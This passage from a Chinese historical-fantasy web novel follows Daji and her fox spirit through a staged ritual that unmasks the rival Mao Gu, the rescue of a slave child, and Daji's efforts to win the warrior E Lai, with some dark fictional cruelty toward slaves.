向下,低阶贵族多从梁木,船只,巨物;平民可随草木、田垄、井边;至于奴隶,就只配以虫蚁与疾病为名。
狐狸插嘴讥笑道:“毛姑会挑上金蝉这等名号,大约并不知此时蝉还未进化为祥瑞,只指代五虫;再者;她也不理解天子在仙帝体系中何等至高无上,编出下跪之语来,已叫人难以信任。”它装模作样地感慨,“也是我小看了臭宝你,果然这仙人一职,非人人可做。”
妲己则趁机喘匀了气,惊惧地低语,“王子是未来天子,贞人是通天之人,想来感知绝不会有错。所以,我是被邪祟冲撞?”
武庚并无一字说毛姑是邪祟,但她此时开口,惹得王子心疼,他语气就也就笃定:“不错,那毛姑定是邪祟!”
妲己「妖妃」之气复萌,恰似当年诱得帝辛焚烧云中子木剑之态,体贴谏言,“若是如此,我倒不怕了。王子若欲除邪祟,我倒有一法。”
“仙君请讲来。”武庚也并未发觉,自己也从未说过要除邪祟。
“大军离去前可再祭祀一场,待祭祀时,先祖降临,又有王子在场震慑,或许,可趁机将邪祟铲除……”
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武庚想来果然可行。
“只是有一样……”妲己虚弱提醒,“邪祟狡黠,不可硬将其抓来,倒是该说请来才是。”
武庚连连点头:“是你细致,合该如此。”又见她面色仍然不好,不免忧心问,“可你身体又该如何康复?可要我叫巫医来为你看顾一番?”
妲己摇头:“先祖仁慈,自会佑我。”
如此再三拒绝,又听到外面传来崇应彪说话声音,武庚这才恋恋不舍出门,叫青女姚来照顾。
青女姚听闻妲己生病,早已箭般冲进舍来,见妲己似昏睡状,急得为她倒水:“姐姐,这是怎了!”
妲己也在疾声问狐狸,“我这是怎了?在盂方也不曾吃喝,为何突然虚弱?莫非她还能隔空下毒?!”
狐狸无奈,“你莫非忘记今日之后,你寿命只余五日?既然将死,身体自然会逐日衰弱。”它摇摇蓬松狐尾,“究竟武庚给来的这一日时辰,你是否要加寿命?”
妲己犹豫良久,忽地对青女姚道:“青女,还要拜托你,帮我散播一些谣言出去。”
~
妲己生病,军中兵荒马乱。
武庚知她不想惊动旁人,但他又如何舍得小妈受苦?于是一时半刻后,巫医先来看治,看不出病因来,贞人糜便也被匆匆请来。
贞人糜此时全副武装,散发白袍,头戴羽冠,一手持五彩绳铜束铃摇晃,一手持火烛流转火光;
他口喷烈酒,在妲己门口跳来跳去,为她行驱邪仪式,一身骨头饰物碰撞,“叮当”轻响。
武庚令众人虔诚祈祷,盼望先祖务必将妲己保佑……
偏这贞人糜年纪实在大了,冷不防被火烛里融下的松油烫在手上,“啊”一声,火烛已然落地。
众人慌了,忙上前扶他,贞人糜疼痛难忍,却只看着王子,低声道:“王子,此邪祟甚厉!想来仙人至纯之躯,更不堪邪祟侵扰。”
武庚面容越发冷峻。
此时也临近小食,青女姚去端饮食给妲己,忍不住低声啜泣,引得伙夫诸人都围过来关切询问。
“是主人。”她低泣说:“邪祟侵扰主人,贞人正为她驱邪。”
人人惊呼,又皆按捺不住好奇,“怎会如此?何处惹来邪祟?”
“在盂方惹来……”青女姚眼中恐惧,颤抖将今日之事说了,又说,“贞人说,那是极厉的邪祟!连他也镇压不能……”
“啊……可怖!”诸人又恐惧又厌恶。再想到妲己仙人托生,自然敏锐,故而要第一个倒下,接下来,大约就要轮到他们!而他们不过区区凡人,又能抗几日?
瞬时,流言蛇一般蔓延,人人自危……
天色转为暗淡时,武庚已察觉军中氛围诡异,不再犹豫,带着崇应彪亲自来盂方接毛姑前去祭祀。
此二人之选,当然也颇有讲究——
王子自不用说,有天子之气护体,可震慑万物;
崇应彪则是贞人算过八字后得出,说所有人中就他嘴臭命硬,最克邪祟,叫彪子颇为羞怒。
那盂方伯雨见王子亲自来请,如何敢怠慢,忙好好将女儿送上了车,目送其远去。
其身边掌事知道毛姑临行前做了些甚,极为不安,一时凑上来低声道:“君伯,只恐公主这样去了,要惹麻烦。”
盂方伯雨却摇头:“无妨,我见过毛姑本事,她确实可以召唤先祖,定会在大邑接受供奉。
想我盂方之国,大约终于要迎来转机,日后不必再屈居大邑之下!”
26. 怜臂伤妲己多曲意
夜幕四垂,毛姑下了车,正看到妲己在羁舍入口处等候。
她灿然一笑,亲亲热热走上前来:“仙君!呀,虽不过半日未见,怎看着如此憔悴?”
狐狸在识海中冷笑着答:“仙君决心用一日寿命消磨了你!”
毛姑此时已又新换了一身衣裳。
红袍束带,似血迹干涸之色;袖缀铜铃,有迷幻催耳之音;
足上一双黑色雕花木屐,手中一根白色招魂长幡——
果然是招魂巫的装扮,周身还似有灵气若隐若现。
妲己强忍着身体不适,只问:“臂伤在何处?”
毛姑笑容一凝,叹气,“嗳呀,仙君,你是当真喜我那奴。”
妲己听她如此说,就知她不给,冷笑,“果然,公主口中一句实话也无。”
毛姑笑容邪恶,“何必生气,臂伤我已按照约定带来。”
说着一抬手,她的奴隶上前,手中捧着一个木盒。
妲己顿时心生不祥!
毛姑愉悦地欣赏着她的神情,随手将木盒打开,“臂伤,就在此处。”
盒中,血淋淋一张人皮。
毛姑大笑:“仙君穿来,怕是太长,勿忘裁减!”
妲己眩晕一下,几乎站不住,还是青女姚将她扶住。
武庚余光瞥到这处,当即上前来沉冷呵斥:“毛姑,仙君身体不适,还不将这腌臜之物收走!”
毛姑闻言,万分委屈,“唉,王子见罪,是仙君想要,我才特意送来。我怎知她又不要?”
妲己却低声制止武庚:“王子,祭祀要紧,不知准备如何了?”
武庚眼看她脸色越发苍白,心知还是将此邪祟除去最为要紧,当下不敢再迟疑,凝望她一眼,转身走了。
狐狸小声道:“两个时辰。”
毛姑一双清目在两人之间流转,本很盼望看到妲己失控,却不曾如愿,但看武庚神色,似乎也并不在意,心中不由冷笑:
说什么妲己是上古妖姬,擅操控人心,原来在王子心中,实则也算不得甚。
而妲己看向她,已笑容全无,声音阴冷:“公主,我实不该信你……”
毛姑毫不在意,轻声挑衅:“你信如何,不信又能如何?叫你那贱奴大亚将臂伤抢去?嘻嘻,他若敢抢一个,我就杀一百个;他若因一个奴伤及君伯家人,天子也不会轻饶他。你莫忘记,我是盂方公主,莫说区区一个臂伤,就是再杀一万个奴,这世间也不会有任何一人怪罪于我!”
眼见妲己眸中已湛出厉色,她又缩头笑了:“呀,仙君模样,倒似要吃我。”
妲己浅笑:“不会,我不食秽物。”
毛姑咬牙,眸间恶意又盈起,“仙君不知,我实则是一番好心,且真带了礼物来。”
她又示意随从押上一奴。
只见这奴虽与妲己同高,面容却过于稚嫩,身上也俱是团团圆肉,分明还是个年纪不大的孩子!
这孩子满眼是泪,又不敢放肆哭出来。
毛姑和善介绍:“诺,这小奴唤作空亡,是臂伤之女。你莫看她如此身量,实则才八岁,因为臂伤说……”她思考了一下,“哦,说她们是什么防风氏最后一脉。啧啧,如今无有脉了,只有空亡一人。”*1
她笑问妲己,“仙君,臂伤身上都是破口,不好看,但她女儿甚完整,要不要我赠予你?”
妲己的手在袖中攥紧,面上轻柔狞笑:“哦?你会好心赠我?”
毛姑眼珠转转,转而对空亡说道:“空亡,你看,就是这位仙君要剥你母的皮,现如今又相中你,你可想去她身边?你若留下,或许有许多机会杀她,嘻嘻……”
说完,已捂着嘴笑起来。
空亡咬着嘴唇,低低地哭着,恨恨瞪着妲己。
青女姚已然忍无可忍,怒冲天灵,含泪疾斥:“毛姑!你休要扭曲是非,是我主人要救下臂伤,何曾要过她的皮!你叫女看母惨死,你岂还算是人?!你穿再好看的衣裳,也只叫我发呕!”
毛姑面容一凛,没料到她一个奴隶竟敢骂自己,几乎气怔,忽地结巴起来:“你,你这虫蚁?竟、竟敢如此对我说话?”
妲己拦住青女姚,“毛姑,我不明白,你这样做,究竟对你有何好处?”
毛姑怒而反问:“那你眷顾这奴,对你又有何好处?”
正剑拔弩张时,一道清润声线响起:“仙君、毛姑,祭坛已架好,贞人已在等候。”
众人侧目看去,只见一极俊嫽的男子,唇若敷朱,目细若狐,比妇人还姣丽——正是鄂顺。
毛姑那日席上就察觉他容貌甚殊,此时再见,语气不免一缓,“你……是公子顺?”
鄂顺温文笑道:“正是,还请仙君与公主前去祭祀,莫误吉时。”
毛姑再看了青女姚一眼,这才向鄂顺走去。
无妨,这个老相识,今日就会被她拿来祭天——同她的主子一道。
~
雨早已停了,兵卒用泥土夯起空圆高台,贞人糜念念有词,用朱砂画了一个复杂符阵。
圆台之外——
武庚身坐北斗之下,有临制四方之意。
崇应彪镇南,一脸凶恶的不情不愿,手持大钺,是为震慑邪祟无法逃脱。
除此之外,周遭尽是火烛,又在四方立有椎物,乃是因为相信邪祟惧怕火焰与尖利之物,以此为笼。
毛姑不明所以,看了只想发笑。
蠢物。
画几个图形,立一些火烛,就能引来神明?
果然还是要我为你们开眼。
而狐狸看到火光中的阵法,却是一惊:“呀,这、这似是上古天网运行之文的残留?!”
妲己诧异:“是何意?”
狐狸挠着耳朵:“极难解释,简单说来,天网运行,也需文字辅助,贞人所绘符阵,正是其中一部分文字,大意为「破」。不论是我还是毛姑身上之物,只要在星体运行到某位时进入这个阵法,就会触发天网……”
妲己不懂:“触发又会如何?”
“我会魂飞魄散。”
妲己一惊,再看贞人糜那个疯癫老头时,神情复杂,“那你我就不可上台。”
“不,虽然如此,也有好处……”狐狸智上心来,“若我赶在星象微动前,只用十二时辰将其困住,待阵运转,你我逃离,可事半功倍……”
此时祭祀已开始,鼓声雷动,周遭兵卒低声吟唱:
斗临其北,南威煌煌。
破魑逐魅,芜秽见殃。
斗临其北,南威重重。
杓光御扫,诸祟皆空。*2
贞人糜站在阵法中,闭目对天吟唱:“先祖归来,四壤敉敉……”*3
毛姑冷笑一声,跃身上了祭台。
兵卒们发出恐惧又不满的呼喝。
但贞人糜只是看她一眼,仍低低唱着:“先祖归来,火雷椎伤……”
毛姑全不在意那些呼号,她面对乌压压的人群,摇动手中招魂幡,语气肃然:“蝼蚁贱民!我乃上帝亲封金蝉仙人,见商军之内,邪气冲天,今日特来襄助驱除!”
她的手指指向妲己,厉声道:“此女乃是狐狸幻化,若为天子妻,天下为祸,需立时将其祭天!”
毛姑心中,野心灼灼。
什么联合,什么共治天下,她一人独尊,不过是说那些话逗弄妲己取乐!
她要的,就是祭祀时点破妲己的狐妖身份,再展现神力,将其杀掉。
狐妖秽乱天下,唯有将其除掉,她才能坐稳这个神女的宝座!
可谁料——
“浑说!你才是妖邪!”竟然是巫医先忍不住跳出来,“仙君不但治愈王子,更治好多少兵卒!她可预测天相,可献上祥瑞白
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猿,她才是先祖派来的仙君,你休想将她污蔑!”
“正是!你才是妖邪!”
“休想信口歪曲!”
“邪祟,仙君与贞人在此,你竟敢浑说?!”
众人群情激昂,愤怒嘶吼!
毛姑有些慌了,不曾料是这样情境。
不,有些不对劲……
发生了何事?为何人人皆在说她是妖邪?
这、这不是拔营的祭祀吗?
她本来还预备了一些控火之术,此时倒来不及展示,幸而她早有准备,匆匆伸出两指指天,低声道:“招魂摄神!”
于是虚空之中,一个老者的半身之像骤然显现,短发长须,头戴商王玄鸟頍冠,遍身珠玉琳琅,对着众人怒目而视。
咒骂声止住,所有人都堪堪楞住,连贞人也脸色骤变。
毛姑松了口气,得意洋洋——
只因这精神残留汇集出来的不是旁人,正是征战盂方的帝乙、武庚的祖父!
毛姑当然不蠢,她深知此时代连画像也无,若是招来更古早的帝王,一来在此处精神残留极少,二来这群蠢物若不认出,大约还要更以为也是邪祟。
毛姑居高临下地怒喝:“既见先祖,为何不拜!”
妲己就在这时对狐狸道:“困住她!”
一股融融凉意从她天灵冒出,狐狸的身影光一般射出,绕在了毛姑周身,她却似乎不察。
没了狐狸的精神支持,妲己更觉眩晕,还几欲呕出,但她强忍着不适,也张开双臂走上祭坛,曼声轻扬:“先祖现世,邪祟将除。”
她一出现,便吸引了所有人的目光,惹得他们全虔诚跪下。
毛姑一怔,旋即明白了她的意图,难以置信中几乎气笑出来,“妲己,你怎敢这般无耻,先祖是我请来!!!”
妲己站在帝乙身前,神色虔诚,白衣飘扬时,容光若圣。她故作困惑:“毛姑,先祖遣我为使者,我当然可召唤先祖来驱妖邪。你为何说是你请来?”
“你——!”
“你有何凭证?”
毛姑大怒,“我能将他招来,就能将他送走!”
“哦……”妲己浅笑伸手,“且送来看看?”
毛姑才一抬手,却感觉手臂如坠千斤,那本该无所不能的力似被何物缚住,无论如何也无法令幻象消失。
她有些慌乱地看着掌心:“这,这是怎回事……”
妲己又开口,“你不是还说,先祖见你,也要下跪?”
虚空中的帝乙似乎听到,对着毛姑发出一声怒吼;即便他已剩精神残余,也绝不容忍被一个无名怪人轻辱。
周遭士卒瞬时也有了勇气,纷纷大骂:“妖邪!你触怒先王!还不就擒!”
“该死,你到底对我做了甚!”毛姑怒极,扑上来要抓妲己,却被她轻轻旋身一躲。
毛姑收身不及,直直栽下台去!
她摔进泥中,眼花耳鸣;挣扎爬起时,看到所有人面上或惊恐、或厌恶、或鄙夷……
他们都姿态防御,似乎很怕她冲过去。
不,不该是如此的……
怎会是这样……
她有嫽貌,有地位,有天赐之物创造幻象,她该是万人敬仰,将所有人踩在脚下!
毛姑咬牙,带着一身泥水试图重新攀回到台上。
可才一探头,就看到妲己蹲在坛边。
“妲己,你……你阴我!对不对!你、你用了甚手段?!”她怒吼。
妲己貌似仙人般绷着严肃,实则眼中全是促狭笑意。
惯会将人践踏之人,被践踏时,果然更要气急败坏,看来实在有趣。
——你以为我怜惜奴隶,就是手段正派的好人?
非也。
你无耻,我只会比你更无耻。你坏,我只会比你更坏,只不过,坏得要略有些格调罢了。
27. 怜臂伤妲己多曲意
毛姑看出了她眼中的嘲弄与恶意,怒炙肺腑,挣扎着向台上爬。
妲己冷冷看着她动作,声音转而更加轻柔,嘴唇也几乎不动问道:“毛姑,我甚好奇,若先帝精神不散,你能撑多久?”
万物守恒,此消彼长,在妲己看来,她既然要以身与寿命饲九尾,毛姑大约也需某种代价催动招魂。
毛姑眼中,涌上了罕见的恐惧。
不错,帝乙身影不散,她也会越来越虚弱!
可这奸诈妖妃是如何知晓的?!
妲己嫣然一笑,已转身走到帝乙面前,远远望去,正像是先祖将她庇佑在怀中一般。
毛姑双目赤红,几乎是用尽了全身之力催停——
停下!必须停下!她就快被吸干了!
这时,妲己双臂高举,说了一句:“妲己恭送先祖。”
狐狸“吱”地折返,而帝乙的身影,也随之暗淡融入在星空里……
周遭兵卒不论官职,俱是首次见到先祖阴灵,早跪了一地,连武庚也虔诚跪下,频频叩拜:“先祖归去。”
他们又开始放声高歌。
“不,不是她!”毛姑好容易送走帝乙,几乎力竭,此时见到众人却还跪拜妲己,真真要被那难听的歌声折磨得发狂。
她失控尖叫,“是我!是我!你们这群蝼蚁!唱得比哭还难听!妲己是狐妖!她会引天子堕落,她会亡了大邑商!蠢物!你们要亡了!”
妲己反而走近她:“毛姑,你既然不服,何妨再请一位先祖来?”
她既然敢这般说,就是吃准了她不敢。
毕竟毛姑绝非隐忍藏璧之人;她明明有能力,那日席上却不召唤先祖一鸣惊人,只变些丝帛花朵把戏,这令妲己当时就已疑惑——
莫非她的能力与九尾一般,也需能量的积攒?
此时,眼看毛姑一脸怔愣,妲己假意在胸前捏了个诀,貌似伏妖之态,实则口中却点破了毛姑的行事根源:“我猜,你维持它的方式,是极怒吧。可惜,我绝少动怒。”
毛姑果然又结巴起来:“你、你休要胡言乱语……”
妲己莞尔。
毛姑一结巴,她就知道自己又猜对。
这也是肤浅之人的唯一好处,一身的漏洞百出。
妲己甚至还知道,毛姑的华丽衣衫,并无任何防御能力,若非要利用她在祭坛上为自己增添仙人光芒,她甚至可以教唆迷信的兵卒直接将其杀死。
狐狸此时喘息犹未平复,着急催促她:“星位开始吻合符阵,你我需下台才好。”
妲己趁机再度低声激毛姑一把:“毛姑,你既说我是邪祟,令你施法不能,那这祭坛就留给你。”
说完,她果然一个旋身,快步走下台去。
毛姑不知她是何意,惊慌失措地环顾周遭……
只有贞人还端坐在阵中,似睡着一般。
无妨,无妨……她还能感觉到周遭的愤怒。
虽然称不上怒火熊熊,但足矣为她所用。
还有机会……
凝神静气,她在手中聚集了两簇明火——
昔日燧人氏钻木取火,将火种远播,而这件巫师袍自带火的幻象,足矣令上古之人心惊。
偏青女姚尖叫一声:“啊……邪祟莫非是要纵火来烧我们?”
果然,人群慌乱:“啊!先祖,先祖方才为何不将她收走!”
“来水!来水!”
“不,我、我不是邪祟!你们、你们被那狐妖蒙蔽了!”毛姑嘶声大叫着,转而意识到了妲己的阴谋,怒道:“妲己,你、你若真是狗屁仙君,就、就再将先祖召回!”
说着,她向台下冲来,欲抓妲己。
此时恶来正在附近,几乎立时冲上去拦在妲己身前。
电光火石中,贞人糜忽地抬手,黄皱的手指指向天际,“星官在列,破!”
毛姑冲下祭坛的一瞬间,似乎听到了“滋”的一声!
她一直轻盈的身体顿时若负铜鼎,直直跌下了台来。
众目睽睽之下,她像一轮骤灭的红月,衣衫上的光彩陡然灭去,手中的火光也已熄灭,散若草木灰烬。
她仿佛骤然之间老去了几十岁!
残片的消亡,带走了她一半寿命……
贞人站起身来,威严宣布:“邪祟已除。”
一瞬寂静后,欢呼声震天,人人皆说这是一个极其凶悍的邪祟,要先祖、仙君、贞人、王子四人才可降服。
他们发挥丰富的想象力,对此场景加以更多注解:
“这盂方公主,也是被邪祟附体的缘故。”
“你看她,被邪祟吸走元神。”
“是先帝先将其神魂定住,仙君与贞人才能得手。”
“若没抓住,她或许不止纵火,还会传播瘟疫。”
“诶,你听到了吗?邪祟会传播瘟疫!”
“先祖保佑,不然我等皆死了……”
毛姑四肢沉重,听着他们的愚蠢言谈,无论如何也难以站立……
她双目茫然。
她实在不懂……
为何她会如此轻易地就被击倒,还顺带为妲己做了嫁衣?
她似乎看到了另一个世界的自己,因口吃而被排挤,因贫穷而被鄙夷……
曾经有人将水倒在她头上,告诉她:“你弱就活该被欺,世界的规则本就是如此。”
弱肉强食的上古时代,莫不是更该是如此吗?
贵族本就有权决定生死,她按照世界的规则来,她想成为顶端之人,她想永远在坑边看别人争夺,她有什么错……
妲己,你又何必佯装冷漠,我知你有多在意那些奴隶……
但你为何在意?
你击败我一人,一切不也还是老样子?你又如何有本事将千万个贵族消弭?
这世界,本就如此……
所有人,皆是如此……
~
~
狐狸总结:“我知晓了,毛姑固然是变数,且变得过于凶残,但你一早就在想如何让这变数为你所用。”
狐狸又总结:“为了帮青女摆脱麻烦,你要除她;因她用臂伤一事蒙骗羞辱你,你要报复;但她能力出众,浪费实在可惜,你无利不起早,用她为你造势,稳固你的仙人人设!”
它忌惮地看着妲己:“你这人做事,果然并非一事一用,非要一事多用才可,你是否也算计过我?”
妲己简直失笑,将它揽入怀中:
“我多疑的狐狐,我一心为你我谋划,你怎还疑起我来?实在叫我心痛。莫非我就无有损失?那可是整整十二个时辰!”
说着,倒体贴为狐狸揉捏起来。
狐狸虽一开始还保持狐疑,奈何她一手按摩技法出神入化,反被摸得平平铺开。
享受一阵,狐狸声音逐渐愉悦:“剩余的十五个时辰,我为你加了寿命,只是至多也就到明日日中之时……臭宝,我可再无妖力可用,你务必该收敛一下雌心壮志……”
妲己眼眸一沉:“你放心,我明日定叫恶来将所有时辰吐出。”
狐狸很想哧她,但念在她今日表演出色,堪堪忍住。
这一日结束祭祀,天色已晚,诸人皆歇下。
浑浑噩噩的毛姑完成「驱邪」,被送回了盂方,而妲己也如愿留下了空亡……
待到天明时分,妲己梦犹未醒,青女姚已在急不可耐地摇她:“姐姐,姐姐!大事不妙!”
“嗯?”她睡眼惺忪,“何事不妙?”
“空亡被抓了……”
原来,昨夜空亡趁着商军祭祀后疲惫昏睡,竟连夜逃走。但她只知乱跑,反而被在四周夜巡的士卒碰到,捉了回来。
妲己急匆匆起身批上外衫向外走,青女姚一路急切地为她解释:“奴擅自逃走,是死罪!不光如此,她还偷了许多吃食,士兵捉捕时,她还反抗,简直是罪上加罪!如今不曾杀她,全因她是姐姐的奴,要等姐姐来了再砍……”
妲己疾步涉过地面泥泞,来到羁舍外。
果然,空亡被五花大绑,又在呜呜哭泣。
除开她那过分魁梧的身材,她实则还只是一个懵懂女童……
见到妲己,兵卒哪有敢不尊敬的,全都跪下口呼“仙君”,不敢抬头多看一眼。
妲己匀了匀气,问道:“发生了何事?”
负责巡防的小亚便将如何捉住空亡一事说了,手中还拿着一个布袋:“这是她偷走的肉和粮。仙君,我等该将她诛杀。”
“不,不必诛杀。”她面容平静地说慌,“是我叫她走的。”
兵卒们面面相觑。
妲己又说,“这些食物,也是我赠予她,并非她偷窃。”
“额……”小亚有些纠结,听出她要包庇这个小奴。
妲己却已走到空亡面前,叹气说道:“你怎走得如此急?我早说叫你大食后吃饱再走。”
空亡哭得似个花猫,疑惑地看着她。
小亚轻声道:“仙君,她这般离去,日后被人抓住,也仍是奴;仙君若怜她,实该带回大邑,在小藉臣那处落了名,归于某个户族,方可为民。”
“原来是这样吗?”妲己惊讶,“倒是我想得简单了。”她望向空亡,“那你可想与我一道回大邑?去了那里,
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你可以自在活着。”
空亡犹豫良久,又盯着她看了半晌,方才委屈点头。
“将她交由我罢。”
严肃的熟悉声音响起,妲己回头望去,果然是恶来。
恶来恹恹的神色如旧,但眸中又似乎又有些奇异的活泛神采:“待我为她安顿好一切,你可以去看望她。”
小亚忙说:“仙君,有大亚在,你只管放心;大亚还能为她谋个事做。”
妲己这才点头:“如此便烦劳你了,只是,空亡这名难听,我要为她改个名字……”她想了想,贵族的名字又给不得,于是说道,“从今往后,她就唤作芽吧……”
狐狸耳朵一抖,忽地察觉到了什么,“恶来虽仍不曾贡献时辰,但看你的眼神有些异样情愫。”
妲己悠然解释:“因为你实则少总结了一样。我为了一个奴与公主争执,恶来当然会触动。”她拍拍狐狸的脑袋,“狐狐,你还仍需努力啊……”
~
小食时,盂方伯雨又来请王子。
莫说,伯雨也算是个识时务的豪杰,眼见公主归来元气大伤,就已知事情不成。脑筋飞快转动后,盂方伯雨再度行跪舔之事,腆脸说是为了答谢为爱女驱邪,也为饯行。
没有了毛姑惹事,妲己对盂方兴致缺缺,借口身体不适推脱;而恶来也只说启程诸事需要看顾,不愿同去,武庚也未勉强。
不出妲己所料,恶来又趁机来求她教习写字。
苦也!
付出与回报不对等,妲己无有心力,只叫他自己看竹简,有不会之字再问;自己则歪卧在一旁,看窗外鸟树。
只余五日寿命,委实要人命……
或许该去寻鄂顺才是……
恶来反而关切她,“仙君昨日驱邪辛苦,自然需要歇息,我自写下不懂之字问来便是。”
妲己美目一翻,并不搭腔。
狐狸趁机踢踢她:“我其实已知如何令恶来贡献时辰,你不若试试?”
“哦?你?”她笑。
“……你这调子听来甚是可恶。”
“唔,那你言来我听。”
“大道至简。等他字写对时,你亲他一口,即可。”
“……”
妲己无语半晌,不免怜悯望着它的大头,语气无奈,“唉……狐狐,你果然是兽,焉知人心复杂?这等低级引诱,可谓不堪一击,怎比得上我步步攻心之举?”
狐狸力劝:“你且试试?一定有用!”
她柔荑一摆,断然拒绝,“不可,且不说一定无用,万一将人吓跑,你我此后全无戏唱。”
狐狸还要据理力争,另一边的恶来却忽地开了口:“仙君,我有一事,想求问于你。”
妲己一面叫他说来,一面得意冲狐狸眨眼:“看?他已有松动,要主动与我聊习字之外的事。”
恶来肃敛,语气认真:“仙君为何在意臂伤和芽。她们……只是奴而已……”
妲己倾身凑近过去,双目湛秋水,“奴又如何?世道不会永远如此。青女早就说过,这世上有个地方,虽仍有贫富,但并无奴,人可以自行决定去留,不必陪葬。出身或许仍然重要,但不决定所有,人人都仍有向上的机会。”
恶来手中树枝一顿,“怎会有那种地方……”
“此时虽无,但你我的后代或许会有。”
她着意强调了“你我的后代”。
但恶来好似全然未听出其中的绵绵暗示,只出神想着她所描绘的世界……
妲己撇撇嘴,又是双眼一翻。
软硬不吃,糖盐不进,木头倒也比你解风情些!
恶来不知又想到了何事,低声说道:“其实……我十岁就没了母……”
妲己毛毛一凛,惊惧非常,缓缓道:“你……要认我做母?”
“哦,非也……”他忙解释,“我是说,后来有一人,似我的母一般,教习我武艺……就同你现在教我识字。”
妲己不快地眯眼……
为何听上去还是像认母……
恶来回忆着往事,冷厌神色略微生动,“她也同我说过,叫我忘掉出身,只向前看……她是大邑最厉害的武士……但……后来她就离开了我。”
妲己不料还是个悲情往事,低声安慰:“节哀……”
“嗯?她离开我是因封了师长。”
“……”
“她是东师顼,大邑四师长之一。”
“……”
救……
大亚,言时可否不大喘气呼?
她与恶来之间,除开习字时间,为何总微妙得像在鸡同鸭讲?!
28. 大邑之地竞仰仙君
晨起拔营前,妲己身体再度不适;梳妆之时,她竟在镜中看到自己腮边有一块灰色痕迹,擦不掉,蹭不开。
青女姚也看到了,凑近端详,还用布蘸了水来擦,得出结论:“怎是长在里面的?”
狐狸懒懒打了个呵欠告知:“是尸斑。”
妲己还以为自己听错!
“尸——斑?!大约不是我理解的那个尸斑?”
“臭宝,我不知你理解何是尸斑,但武庚一人根本无法为你续命,故而你寿命不长,长些尸斑倒还俏皮。”狐狸奸笑,“到了大邑商,你就会略像活尸,定能叫整个大邑商惊艳。”
妲己盯着铜镜怔愣良久,心中只余一个念头
——恶来这厮该被精卫衔去沉海!!!
大军启程上路,她不甘心,趁着途中修整,又写下两卷竹简。
白日一面写,一面心头落泪。
夜来一面教,一面心中绝望。
她从不曾想自己也会有如此命苦的一天。
言而总之,不论她如何暗示、撩拨、关切,恶来都好似脑中灌满铜浆,对她只越来越敬服!
妲己再度教他时,手都在发抖,盖因死亡恐惧罩顶,着实令人腿软。
此时想来,浪费十二个时辰在毛姑身上,甚是愚蠢!即便无有先祖显灵的假象,她如今的筹码大约也足矣说服帝辛不纳她入宫。
“恭喜臭宝,”狐狸明明自己也命不久矣,却还不忘说风凉话,“你着实厉害。你如今在恶来心中,崇高地位更胜师顼。这,又怎能不算是某种意义上之胜利?”
妲己险些捏碎梳子!
此时,恶来正在她身畔专心练字,她忽地不悦开口:“练得如何?我要试你。”
恶来虽觉她问得突然,倒无先前的局促,反而道:“仙君请试。”
狐狸大笑:“这模样,看来是好好练过。”
于是妲己特意挑了些复杂字,皆是「函」「丙」「翿」等,代表「箭袋」「车辆」「彩旗」之意……
果然无一写错。
再问「貘」「卣」「陶」等偏字,果也写得流畅。
一连写了十四个字,竟无一错误。
恶来自己写完也释然,先看向她,阴沉的眸中光点闪烁跳跃,似盼她夸赞。
妲己倒不吝啬,点头道:“果然不错。”
他笑:“谢仙君赞。”
这也是妲己首次见他笑,看来果然是心中欢喜了。
也罢,就如狐狸所言,让他喜上加喜。
腮上尸斑发痒,妲己抬手挠了挠,勉强笑道,“你既然写对,我备有小礼两份。”
他一脸正色地拒绝:“仙君肯教我,已是我之大幸,怎好叫仙君再……”
她不客气打断,“头一样,我知你有一弟,唤作疾生。这名很不好,索性改为季胜,季季常胜,你以为如何?”
兄既然已成人,名大约不好改,只当用他弟的名为两人一起求些吉祥寓意。
恶来喃喃念着“季胜”,动容道:“谢仙君为幼弟赐名。”
妲己抿抿唇,神色略不自在,故作冷淡道,“第二样,你且阖目。”
他果然无有质疑,双目紧闭,并不丝毫违抗。
妲己叹了一口气,当下也只得死马当作活马医,凑近上前。
只见他鼻梁高尖,唇峰凌厉,果如青女所说,是一种怪异的俊嫽,那冷色皮肤在晦暗帐中泛着幽幽蓝光,似湿冷水鬼。
玄衣之下,充满力量的起伏肌肉也格外惹人窥视……
妲己心头发烫——
大亚虽性格有些孤僻阴湿,但身子却反而充满色域……实叫她有些口渴……
她先捏住他的大手,以防他抬手抗拒,而后探头,先在他喉结处轻轻一贴。
恶来眉头蹙起,脸微侧向一旁,却不敢睁眼,疑惑问:“仙君?”
她又侧头,在他唇上也一印。
在她的手掌下,恶来的手明显一下攥紧,似乎知道了那痒痒的触感代表着何意,整个人都僵直了。
妲己微微挑眉,唯恐不够,又在他唇上补了一口。
“……”
帐中忽地寂静,他好似连呼吸也已消失!
“喀……”
手指粗的树枝已被他生生捏断成两截。
妲己坐直身子,捋了捋发,心中罕见得心虚——
若是恶来此时跪下认母,说体味到了母的慈祥亲吻,其实倒也未必不可能。
可恶来呼吸急促,慢慢睁眼,先看了一眼妲己,随即似被灼伤一般飞速躲闪。他左右环顾,似在找寻东西,又其实并没有何物可被他寻找。
“仙君……”他近乎仓皇起身,不慎踩到衣摆,几乎踉跄摔倒。
他手里仍攥着那半截树枝,口中胡言乱语:“我,我忽想起,明日……明日到达大邑……需准备……我,我需先归去……”
说完,也不等她说话,几乎是夺门而出!
“诶——?”她还试图叫住他,可人已融进夜色里。
这速度,叹为观止……
“唉……”妲己扶额。
她就知是此结局。一想到先前的努力大约也全部白费,她不免恶声抱怨狐狸:
“我说甚来着?他今日如此跑掉,绝不会再来!你实实将我坑惨也!”
“是吗?”狐狸邪魅一笑,一个胡旋跳跃,张开双臂:“不必太感激我,妲妲,但你刚获得了恶来的八个时辰!”
“啊————??!”妲己尖叫一声,“怎可能?!!”
~
道路越发平缓,屋舍渐多,牛马羊鹅成群出没,农人走夫亦不罕见。
妲己白日在车上,已听到先遣军来报:
明日,商军便将入商。
为此,士卒们特意扎下大营,烧水煮荚,热热闹闹,用爽瓦洗去鏖糟*1,备好干净衣物,好面见天子。
于妲己而言,虽即将面见帝辛,前途未卜,她却已全然不慌。
原来,一旦她手中握有两人,二人所贡献的时辰也全部各自双倍增加!
仅昨日半日,就有了十四个时辰!
现如今,她面上尸斑早已消失不见,反而油光水滑,肤若鸡卵,叫她得意得几乎要发出几声奸妃笑来。
“莫要懒散,另外三人仍欠缺。”狐狸很恐她骄傲,“如今二人只能勉强保你不死。”
“我懒散?”妲己备受冤屈,“狐狐,你未看我有多努力!”
前日,她嗓子发痒,编了情诗唱来;昨日,她文思尿崩,狂产三卷兵书。
她还将妖媚之力几倍展现:
眸含荡漾之情、面露妖诱之态……
一番魅力释放,连青女姚也要鼻血奔涌,将方圆百米之内人鸟虫兽俱撩拨得坐立难安、烧心灼肺、人心黄黄,不知摔了多少跟头。
